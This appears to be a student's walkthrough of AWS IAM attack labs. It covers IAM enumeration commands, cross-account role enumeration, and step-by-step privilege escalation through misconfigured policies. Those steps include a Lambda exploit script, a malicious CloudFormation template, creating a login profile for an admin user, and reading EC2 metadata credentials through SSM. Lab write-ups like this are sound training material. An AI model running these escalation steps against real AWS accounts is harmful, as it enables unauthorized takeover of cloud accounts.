Pentester Academy AWS IAM Attack Lab
Enumeration
To get information about current caller →
1
awsn sts get-identity-caller
List and see last uses for access keys →
1 2 3 4 5 6 7 8 9 10 11
# List all access keys awsn iam list-access-keys # Get last usage region and service which used the access key awsn iam get-access-key-last-used --access-key-id AKIAUAWOPGE5CTW6HRZL # List last service usage for all access keys for i in $(awsn iam list-access-keys | jq '.AccessKeyMetadata[] | .AccessKeyId' | tr -d "\"") do echo $i awsn iam get-access-key-last-used --access-key-id $i | jq '.AccessKeyLastUsed | .ServiceName' done
Get information about the account →
1 2 3 4 5 6 7 8 9 10 11 12
# Summary for the account awsn iam get-account-summary | jq '.SummaryMap' # Password Policy awsn iam get-account-password-policy # Get account aliases awsn iam list-account-aliases | jq '.AccountAliases' # Get a million lines - all information about the account # Best to save this in some file since the output is huge (~5MB) awsn iam get-account-authorization-details > account_authorization_details
Get information on groups →
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
# Get list of all groups (direct) awsn iam list-groups | jq '.Groups[].GroupName' # Get list of all groups (from account_authorization_details) cat account_authorization_details | jq '.GroupDetailList[].GroupName' # Get managed policies for a group awsn iam list-attached-group-policies --group-name ad-Admin cat account_authorization_details | jq '.GroupDetailList[] | select(.GroupName == "ad-Admin") | .AttachedManagedPolicies' # Get group inline policies awsn iam list-group-policies --group-name Students-config-2 cat account_authorization_details | jq '.GroupDetailList[] | select(.GroupName == "Students-config-2") | .GroupPolicyList' # Get users in group awsn iam get-group --group-name Students-config-2 | jq '.Users'
Get information on users →
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
# Get list of users awsn iam list-users | jq '.Users[].UserName' cat account_authorization_details | jq '.UserDetailList[].UserName' # List policy for a user awsn iam list-user-policies --user-name student-mtn5imevkfls5pue awsn iam get-user-policy --user-name student-mtn5imevkfls5pue --policy-name DenyAccess cat account_authorization_details | jq '.UserDetailList[] | select(.UserName=="student-mtn5imevkfls5pue") | .UserPolicyList' # List attached managed policies for a user awsn iam list-attached-user-policies --user-name student-mtn5imevkfls5pue cat account_authorization_details | jq '.UserDetailList[] | select(.UserName=="student-mtn5imevkfls5pue") | .AttachedManagedPolicies' # List user tags for a user awsn iam list-user-tags --user-name ad-Adminson cat account_authorization_details | jq '.UserDetailList[] | select(.UserName=="ad-Adminson") | .Tags' # Get general user information awsn iam get-user --user-name ad-Adminson cat account_authorization_details | jq '.UserDetailList[] | select(.UserName=="ad-Adminson")' # List groups for user awsn iam list-groups-for-user --user-name ad-Adminson cat account_authorization_details | jq '.UserDetailList[] | select(.UserName=="ad-Adminson") | .GroupList' a=$(cat account_authorization_details | jq '.UserDetailList[] | select(.UserName=="ad-Adminson") | .GroupList[]' | tr -d "\"") for i in $(echo "$a"); do cat account_authorization_details | jq '.GroupDetailList[] | select(.GroupName == "'"$i"'")'; done
Get login profiles for all users →
1 2 3 4
for i in $(awsn iam list-users | jq '.Users[].UserName' | tr -d "\"") do echo "$i -----------------" awsn iam get-login-profile --user-name $i done
Get information on roles →
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
# List all roles awsn list-roles cat account_authorization_details | jq '.RoleDetailList[]' # Get information for a role awsn iam list-role-policies --role-name ad-Role awsn iam get-role --role-name ad-Role cat account_authorization_details | jq '.RoleDetailList[] | select(.RoleName == "ad-Role")' # Get policies for a role awsn iam list-role-policies --role-name ad-Role # gives names for the next command awsn iam get-role-policy --role-name ad-Role --policy-name ad-RoleDeneid cat account_authorization_details | jq '.RoleDetailList[] | select(.RoleName == "ad-Role") | .RolePolicyList' # List attached managed policies awsn iam list-attached-role-policies --role-name ad-Role cat account_authorization_details | jq '.RoleDetailList[] | select(.RoleName == "ad-Role") | .AttachedManagedPolicies'
Get default version document for policy →
1 2
cat account_authorization_details | \ jq '.Policies[] | select(.PolicyName=="AmazonDynamoDBFullAccess") | .PolicyVersionList[] | select(.IsDefaultVersion==true) | .Document'
List all policies in use →
1 2 3 4 5 6 7 8 9
# Policies with attachment count more than 0 awsn iam list-policies | jq '.Policies[] | select(.AttachmentCount > 0) | .PolicyName' cat account_authorization_details | jq '.Policies[].PolicyName' # Customer Managed policies awsn iam list-policies --scope Local # AWS Managed policies awsn iam list-policies --scope AWS
List entities for a given policy →
1
awsn iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Get ssh-public keys and signing certificates for user →
1 2 3 4 5
# List signing key certs for user awsn iam list-signing-certificates --user-name ad-user # Get ssh public keys awsn iam list-ssh-public-keys --user-name ad-user
Get Roles which have Principal as any AWS account within the Assume Role policy document →
1 2
cat account_authorization_details | \ jq '.RoleDetailList[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS=="*") | .RoleName'
Get information for MFA devices →
1 2 3 4 5
# MFA devices awsn iam list-mfa-devices # Virtual MFA devices awsn iam list-virtual-mfa-devices
Cross Account Enumeration
The old method of enumerating roles on a different account was to try to assume that role and look for discrepancies in the error response returned by the API. This was fixed by AWS Security and thus a new method is required.
For the new method, a new role is created using the following in the personal account →
1
awsn iam create-role --role-name tlullu --assume-role-policy-document file://policy.json
The policy document contains the following →
1
2
3
4
5
6
7
8
9
10
11
12
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
This denies sts:AssumeRole
to all AWS accounts. Now, if the policy is updated to deny it only for a specific ARN, then AWS backend will check to see if the entity actually exists. The update policy command fails if the entity is not valid (not present). Therefore, the principal can be changed to the following → "AWS": "ad-doesnotexist"
or "AWS": "ad-crow"
using the following command →
1
aws iam update-assume-role-policy --role-name tlullu --policy-document file://policy.json
The command fails if the role doesn’t exist with the following error →
1
An error occurred (MalformedPolicyDocument) when calling the UpdateAssumeRolePolicy operation: Invalid principal in policy: "AWS":"arn:aws:iam::276384657722:role/ad-doesnotexist"
If the role exists, then the policy is updated successfully. This allows for role enumeration, after which they can be checked for wildcard principal for sts:AssumeRole
by attempting to assume them. PACU does this automatically.
Adding keys to PACU and running it from the prompt as follows →
1
run iam__enum_roles --role-name tlullu --account-id 276384657722 --word-list /root/names
This gives the following identified roles and whether they can be assumed globally or not →
- ad-crew
- ad-flea
- ad-ibex
- ad-snipe
- ad-griffon
Since this works on entities, users can also be enumerated in the same way by specifying the ARN of a user instead of a role within the policy. PACU has this under the iam__enum_users
module. Running that modules gives the following users →
- ad-ghoul
- ad-guppy
- ad-marmot
- ad-thrush
- ad-haddock
- ad-foxhound
- ad-honeybee
- ad-terrapin
Misconfigured Trust Policy
The Lab asks to assume a role in another account which can be done as follows →
1
awsn sts assume-role --role-arn arn:aws:iam::276384657722:role/ad-LoggingRole --role-session-name TestTanq
The output can be saved to a file assumed_role
. Then the session can be used as follows →
1
2
3
4
AWS_ACCESS_KEY_ID=$(cat assumed_role|jq '.Credentials.AccessKeyId'|tr -d "\"") \
AWS_SECRET_ACCESS_KEY=$(cat assumed_role|jq '.Credentials.SecretAccessKey'|tr -d "\"") \
AWS_SESSION_TOKEN=$(cat assumed_role|jq '.Credentials.SessionToken'|tr -d "\"") \
awsn sts get-caller-identity
Using this method to check the managed policies attached with the role, it’s seen that the role has read only access to S3 and IAM. The S3 buckets can be listed and the IAM assume role policy can be seen as well as follows →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"Role": {
"Path": "/",
"RoleName": "ad-LoggingRole",
"RoleId": "AROAUAWOPGE5JQT23CRUN",
"Arn": "arn:aws:iam::276384657722:role/ad-LoggingRole",
"CreateDate": "2021-01-20T06:15:40+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600,
"RoleLastUsed": {
"LastUsedDate": "2022-04-24T17:35:13+00:00",
"Region": "us-east-1"
}
}
}
The policy allows any AWS account to assume this role i.e., wildcard. This is bad.
Overly Permissive Permission 1
This lab provides a user in an AWS account and the objective is to obtain administrative privileges using an overly permissive permission.
Listing the details of the user from UserDetailList, the student
user has the following policies →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"Path": "/",
"UserName": "student",
"UserId": "AIDAS4LAHUW7BDJ6WXEI3",
"Arn": "arn:aws:iam::198307194302:user/student",
"CreateDate": "2022-04-25T01:50:49+00:00",
"GroupList": [],
"AttachedManagedPolicies": [
{
"PolicyName": "IAMReadOnlyAccess",
"PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
},
{
"PolicyName": "Service",
"PolicyArn": "arn:aws:iam::198307194302:policy/Service"
}
],
"Tags": []
}
The policy Service
can be retrieved as follows →
1
awsn iam get-policy-version --version-id v1 --policy-arn arn:aws:iam::198307194302:policy/Service
This gives the following policy →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": "iam:AttachUserPolicy",
"Effect": "Allow",
"Resource": "arn:aws:iam::*:user/*"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2022-04-25T01:50:49+00:00"
}
}
This allows the user to attach arbitrary policies to any user. Thus, the administrator privileges can be granted to any user. In this instance, granting the Administrator policy to the student
user can be done as follows →
1
2
asd=$(awsn iam list-policies | jq '.Policies[] | select(.PolicyName == "AdministratorAccess") | .Arn' | tr -d "\"")
awsn iam attach-user-policy --user-name student --policy-arn $asd
This solves the lab.
Dangerous Policy Combination 1
This lab gives an IAM user with the objective to leverage the policies attached to the student
user and attain administrative privileges on the AWS account.
Using the User detail list to check the policies for the student
user →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
{
"Path": "/",
"UserName": "student",
"UserId": "AIDAZNIQILDEKIBVNHP56",
"Arn": "arn:aws:iam::646963550408:user/student",
"CreateDate": "2022-04-25T02:37:36+00:00",
"UserPolicyList": [
{
"PolicyName": "terraform-20220425023745069800000002",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"sts:AssumeRole"
],
"Effect": "Allow",
"Resource": [
"arn:aws:iam::646963550408:role/Adder",
"arn:aws:iam::646963550408:role/Attacher"
]
}
]
}
}
],
"GroupList": [],
"AttachedManagedPolicies": [
{
"PolicyName": "IAMReadOnlyAccess",
"PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
}
],
"Tags": []
}
Thus, the user can assume the two roles of Adder
and Attacher
. These policies can be retrieved from the respective roles using the Role detail list →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
{
"Path": "/",
"RoleName": "Adder",
"RoleId": "AROAZNIQILDEGUAHO6ICH",
"Arn": "arn:aws:iam::646963550408:role/Adder",
"CreateDate": "2022-04-25T02:37:44+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::646963550408:user/student"
},
"Action": "sts:AssumeRole"
}
]
},
"InstanceProfileList": [],
"RolePolicyList": [
{
"PolicyName": "AddUser",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "iam:AddUserToGroup",
"Effect": "Allow",
"Resource": "arn:aws:iam::646963550408:group/Printers"
}
]
}
}
],
"AttachedManagedPolicies": [],
"Tags": [],
"RoleLastUsed": {}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
{
"Path": "/",
"RoleName": "Attacher",
"RoleId": "AROAZNIQILDELXDKYIOZ2",
"Arn": "arn:aws:iam::646963550408:role/Attacher",
"CreateDate": "2022-04-25T02:37:44+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::646963550408:user/student"
},
"Action": "sts:AssumeRole"
}
]
},
"InstanceProfileList": [],
"RolePolicyList": [
{
"PolicyName": "AttachPolicy",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "iam:AttachGroupPolicy",
"Effect": "Allow",
"Resource": "arn:aws:iam::646963550408:group/Printers"
}
]
}
}
],
"AttachedManagedPolicies": [],
"Tags": [],
"RoleLastUsed": {}
}
Therefore, the Adder
role allows adding users to the group Printers
and the Attacher
policy allows attaching policies to the group Printers
. Therefore, the escalation path is to add the AdministratorAccess
policy to the Printers
group and then add the student
user to that group. This will grant us administrative privileges. Assume the roles and save the credentials output to assumed_role
after which the commands can be invoked as follows →
1
2
3
4
AWS_ACCESS_KEY_ID=$(cat assumed_role|jq '.Credentials.AccessKeyId'|tr -d "\"") \ with root@cf9d78fcffc0
AWS_SECRET_ACCESS_KEY=$(cat assumed_role|jq '.Credentials.SecretAccessKey'|tr -d "\"") \
AWS_SESSION_TOKEN=$(cat assumed_role|jq '.Credentials.SessionToken'|tr -d "\"") \
awsn iam add-user-to-group --group-name Printers --user-name student
Similarly, repeat for Attacher
and attach the policy using the following →
1
2
# same env vars to use the assumed role session
awsn iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --group-name Printers
Dangerous Policy Combination 2
This lab provided an IAM user in an AWS account and the objective was to gain administrative privileges.
Looking at the users in IAM, using the User detail list, there are 2 users and only one with policies which is student
. The student
user has a policy to assume the roles of Adder
and PolicyUpdater
. Looking at these roles using the Role detail list, the Adder
role can add a user to the Printers
group while the PolicyUpdater
role can create a new version for the policy Print
.
The Printers
group has the Print
policy attached to it. Therefore, path of escalation is to create a new version of the Print
policy which allows administrator access to the Printers
group and then add the student
user to the Printers
group.
Therefore, assume role of Adder
and add the user to the Printers
group. Next, assume role of PolicyUpdater
and create a new version for the Print
policy using the standard administrative policy file. The create-policy-version
subcommand also has a flag to make the new version default. This can be done as follows →
1
awsn iam create-policy-version --policy-arn arn:aws:iam::871597022766:policy/Print --policy-document file://policy.json --set-as-default
This gives the student
user administrative privileges. This also solves the lab.
Overly Permissive Permission 2
The lab provides an IAM user student
within an AWS account with the objective of gaining administrative access on the account.
Looking at the user detail list, there are 4 users → student
which is us, identity
which is useless, AdminBob
and AdminJane
which are the two admins,
Upon looking at the policies, the student
user has the following policy inline →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"PolicyName": "terraform-20220425212035034400000001",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword"
],
"Effect": "Allow",
"Resource": "*"
}
]
}
}
With this, a new login profile can be used on any user on the account. Therefore, a skeleton is created using the following command →
1
awsn iam create-login-profile --generate-cli-skeleton > create-login-profile.json
This creates a skeleton json file which can be edited as follows →
1
2
3
4
5
{
"UserName": "AdminBob",
"Password": "Root00--123@",
"PasswordResetRequired": false
}
Then, the new login profile can be created using the following command →
1
awsn iam create-login-profile --cli-input-json file://create-login-profile.json
This gives console access to the AdminBob
user and therefore grants administrative privileges and solves the lab.
Pass Role EC2
The lab provides an IAM user student
within an AWS account with the objective of gaining administrative access on the account.
The student
user has the following policy →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"PolicyName": "ConfigureEC2Role",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:PassRole",
"ec2:RunInstances",
"ec2:Describe*",
"ec2:TerminateInstances",
"ssm:*"
],
"Resource": "*"
}
]
}
}
Therefore, the user can perform PassRole on any resource as well as has control over EC2 instances and SSM (AWS Systems Manager). Therefore, the user should have the ability to pass a role to an EC2 instance and run it.
Looking at available roles that can be passed using the role detail list, there is an ec2admin
role that can be assumed by EC2 which has policies as follows →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
{
"Path": "/",
"RoleName": "ec2admin",
"RoleId": "AROAQYAQFWV2XI23JRAW7",
"Arn": "arn:aws:iam::051573536117:role/ec2admin",
"CreateDate": "2022-04-26T00:00:05+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}]
},
"InstanceProfileList": [
{
"Path": "/",
"InstanceProfileName": "ec2_admin",
"InstanceProfileId": "AIPAQYAQFWV2Z3YJX2PCC",
"Arn": "arn:aws:iam::051573536117:instance-profile/ec2_admin",
"CreateDate": "2022-04-26T00:00:06+00:00",
"Roles": [
{
"Path": "/",
"RoleName": "ec2admin",
"RoleId": "AROAQYAQFWV2XI23JRAW7",
"Arn": "arn:aws:iam::051573536117:role/ec2admin",
"CreateDate": "2022-04-26T00:00:05+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}]}}]}
],
"RolePolicyList": [
{
"PolicyName": "terraform-20220426000006379000000003",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]}}
],
"AttachedManagedPolicies": [],
"Tags": [],
"RoleLastUsed": {}
}
When the role is defined on the console to be assumed by EC2, an instance profile is automatically created by the backend to allow for the instance to assume that role. The only remaining step at that point is to allow an authorized user to pass a role to it. The policy attached to the above passable role is that of an administrative user.
Several pieces of information are required to launch an EC2 instance. These can be gathered as follows →
- Get the AMI-ID to launch a machine and get the Image ID →
1
awsn ec2 describe-images --owners "amazon" --filters "Name=name,Values=amzn2-ami-hvm-*x86_64-gp2" "Name=state,Values=available" "Name=architecture,Values=x86_64" | jq '.Images | sort_by(.CreationDate) | last(.[])'
- Get the available subnets and retrieve a Subnet ID →
1
awsn ec2 describe-subnets
- Get the security group to associate with the instance. The Group ID is the field of importance. There were many security groups here, however, an interesting one was the
sshAccesss
SG which allowed SSH access from anywhere on the internet. This was not useful though, since the user did not have permissions to add an SSH key. So, any security group would suffice →
1
awsn ec2 describe-security-groups
- The instance profile name can be obtained from the above Role detail as
ec2_admin
.
Now, the instance can be launched using the following command →
1
awsn ec2 run-instances --subnet-id "subnet-0d3f2d36c562ea754" --image-id "ami-00db75007d6c5c578" --iam-instance-profile Name=ec2_admin --instance-type t2.micro --security-group-ids "sg-0cd10f19654a602f8"
This launched the instance and returns a bunch of information about it along with the instance ID, which is necessary to use when trying to execute things via SSM. The EC2 instance effectively has the assumed role of ec2admin
. The next step is to get the credentials via the metadata service.
Commands can be issued to the EC2 instance using SSM using the following →
1
ssm send-command --targets "Key=instanceids,Values=i-02930a6a3317e02e1" --document-name "AWS-RunShellScript" --comment "aws_cli_run_lab" --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2admin/"]'
This runs the command and returns an ID associated with the command invocation. The ID can be used to retrieve the output as follows →
1
awsn ssm get-command-invocation --command-id 35218027-97f2-4b68-8495-aa78cb0e9065 --instance-id i-02930a6a3317e02e1
This gives the output of the cURL command which contains the temporary credentials to assume the role that the EC2 instance has i.e., the ec2admin
role. Then the following can be done to prove administrative privileges →
1
2
3
4
AWS_ACCESS_KEY_ID=$(cat assumed_role|jq '.AccessKeyId'|tr -d "\"") \
AWS_SECRET_ACCESS_KEY=$(cat assumed_role|jq '.SecretAccessKey'|tr -d "\"") \
AWS_SESSION_TOKEN=$(cat assumed_role|jq '.Token'|tr -d "\"") \
awsn iam create-user --user-name Bob
This solves the lab.
Pass Role Lambda
The lab provides an IAM user student
within an AWS account with the objective of gaining administrative access on the account.
Looking at the users, the user of importance is student
who has the inline policy to allow iam:PassRole
, lambda:CreateFunction
, lambda:InvokeFunction
, lambda:List*
, lambda:Get*
and lambda:Update*
actions. Therefore, student
has the ability to pass an existing role to a Lambda function.
If such a role exists which can be passed to Lambda and has enough permissions to help escalate, that would solve the issue. This can be checked by looking at the policy detail list. Such a function can be found in the lab account. The command to do a quick search is as follows →
1
cat account_authorization_details | jq '.RoleDetailList[] | select(.AssumeRolePolicyDocument.Statement[].Principal.Service=="lambda.amazonaws.com")'
This gives the following role →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
{
"Path": "/",
"RoleName": "lab11lambdaiam",
"RoleId": "AROAVZBFEYFFM77TYJBLL",
"Arn": "arn:aws:iam::397362381130:role/lab11lambdaiam",
"CreateDate": "2022-04-26T19:11:46+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"InstanceProfileList": [],
"RolePolicyList": [
{
"PolicyName": "terraform-20220426191146909700000003",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:AttachUserPolicy"
],
"Effect": "Allow",
"Resource": "*"
}
]
}
}
],
"AttachedManagedPolicies": [],
"Tags": [],
"RoleLastUsed": {}
}
Therefore, the role has the permissions to attach a policy to any user. Therefore, the attack path is as follows →
- Write malicious code to build a Lambda function out of it such that the code grants the
student
user administrator privileges by assuming capabilities of thelab11lambdaiam
role →
1
2
3
4
5
6
7
8
9
10
# file name is lambda_exploit.py
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName = 'student',
PolicyArn = 'arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
This is then zipped to create a deployment bundle as follows →
1
zip lambda_exploit.zip lambda_exploit.py
- Create a function by passing the
lab11lambdaiam
role to it using the malicious code →
1
2
3
awsn lambda create-function --function-name lambda_exploit \
--runtime python3.8 --role "arn:aws:iam::397362381130:role/lab11lambdaiam" \
--handler "lambda_exploit.lambda_handler" --zip-file fileb://lambda_exploit.zip
- Invoke the Lambda function →
1
2
3
4
5
# Invoke
awsn lambda invoke --function-name lambda_exploit out --log-type Tail
# Output will be in LogResult key in the returned JSON object.
# LogResult is base64 encoded and the file out contains request parameters
These steps grant the administrator privileges to the student
user and this can be verified by creating a new user or listing the attached policies again and comparing with user detail list. This solves the lab.
Pass Role CloudFormation
The lab provides an IAM user student
within an AWS account with the objective of gaining administrative access on the account.
Looking at the user detail list, only student
is of concern and has the following inline policy →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:PassRole",
"cloudformation:Describe*",
"cloudformation:List*",
"cloudformation:Get*",
"cloudformation:CreateStack",
"cloudformation:UpdateStack",
"cloudformation:ValidateTemplate",
"cloudformation:CreateUploadBucket"
],
"Effect": "Allow",
"Resource": "*"
}
]
}
Therefore, the user can pass a role to a service, which has to CloudFormation as it is the only one which it can do most of the actions for. Therefore, the path of escalation would be to create a malicious IaC template in CFN and passing a role that can allow CFN to do malicious activities. To find such a role, looking at role detail list, there is one named lab12CFDeployRole
which can also be searched for with the following command →
1
cat account_authorization_details | jq '.RoleDetailList[] | select(.AssumeRolePolicyDocument.Statement[].Principal.Service=="cloudformation.amazonaws.com") | .RoleName'
This role has the following inline policy →
1
2
3
4
5
6
7
8
9
10
11
12
{
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:PutUserPolicy"
],
"Effect": "Allow",
"Resource": "*"
}
]
}
Therefore, the CFN stack would be able to add an inline policy for a user. So, a malicious template is created as follows →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"Resources": {
"tanqtemplate": {
"Type": "AWS::IAM::Policy",
"Properties": {
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Resource": "*",
"Action": "*"
}
]
},
"Users": [
"student"
],
"PolicyName": "cfn_admin_policy_via_exploit"
}
}
}
}
This is then passed to the command used to create a CFN stack as follows →
1
2
3
4
awsn cloudformation create-stack \
--role-arn "arn:aws:iam::896825229505:role/lab12CFDeployRole" \
--template-body file://template.json --stack-name "pass-role-exploit-cfn" \
--capabilities "CAPABILITY_NAMED_IAM"
The CAPABILITY_NAMED_IAM
capability must be passed since the template is making changes to the account using a policy which is custom and thus, “named”. This will create the stack and the creation or created status can be monitored by using the following command →
1
2
3
4
5
# just describe
awsn cloudformation describe-stacks --stack-name "pass-role-exploit-cfn"
# get events
awsn cloudformation describe-stack-events --stack-name "pass-role-exploit-cfn"
Once this is created, the policy takes effect and the inline policies will show the new policy for student
which grants it administrator privileges. This solves the lab.